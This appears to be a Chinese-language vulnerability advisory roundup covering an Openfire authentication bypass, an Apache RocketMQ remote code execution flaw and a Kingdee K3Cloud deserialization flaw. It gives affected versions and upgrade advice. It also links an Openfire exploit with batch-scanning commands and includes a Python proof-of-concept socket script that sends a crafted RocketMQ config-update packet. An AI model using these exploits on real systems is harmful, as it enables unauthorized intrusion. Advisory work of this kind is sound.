exp https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass 运行指令

单个url go run main.go -u http://openfire.com:9090
多个url go run main.go -l url.txt -t 20

修复建议

临时缓解方案: 使用网络 ACL 限制访问控制台的来源,而且建议如非必要,不要将 Openfire管理控制台暴露在互联网上。 升级修复方案: 该问题已在 Openfire 的 4.7.4 和 4.6.8 版本中得到修补,建议升级到不受漏洞影响的版本。

Apache RocketMQ 远程代码执行漏洞

此漏洞是由于 CVE-2023-33246 补丁未修复完全,当 RocketMQ 的NameServer 组件暴露在外网,且缺乏有效的身份认证时,攻击者可以利用更新配置功能,以 RocketMQ 运行的系统用户身份执行任意命令。 漏洞标签:漏洞细节公开、影响范围广、漏洞价值大 漏洞编号:CVE-2023-37582 漏洞类型:RCE 受影响版本:

  1. RocketMQ < 4.9.7
  2. RocketMQ < 5.1.2

poc

import socket
import binascii

client = socket.socket()
client.settimeout(5)

client.connect((target_ip,target_port))
# make payload
json = '{"code":318,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')

body=('Thanks DawnT0wn').encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)

修复建议

目前官方已发布安全版本,建议受影响用户升级至:

  • RocketMQ 5.x >= 5.1.2
  • RocketMQ 4.x >= 4.9.7

官方补丁下载地址: https://rocketmq.apache.org/download/ 同时建议将 NameServer、Broker 等组件部署在内网,并增加权限认证

金蝶 K3Cloud 反序列化漏洞

由于金蝶云星空能够使用 format 参数指定数据格式为二进制,攻击者可以通过发送由 BinaryFormatter 恶意序列化后的数据让服务端进行危险的BinaryFormatter 反序列化操作。反序列化过程中没有对数据进行签名或校验,导致攻击者可以在未授权状态下进行服务器远程代码执行。 漏洞标签:涉及重点系统、国产办公系统、服务器权限相关 漏洞编号:漏洞类型:RCE 受影响版本:

  1. 金蝶云星空 < 6.2.1012.4
  2. 7.0.352.16 < 金蝶云星空 <7.7.0.202111
  3. 8.0.0.202205 < 金蝶云星空 < 8.1.0.20221110
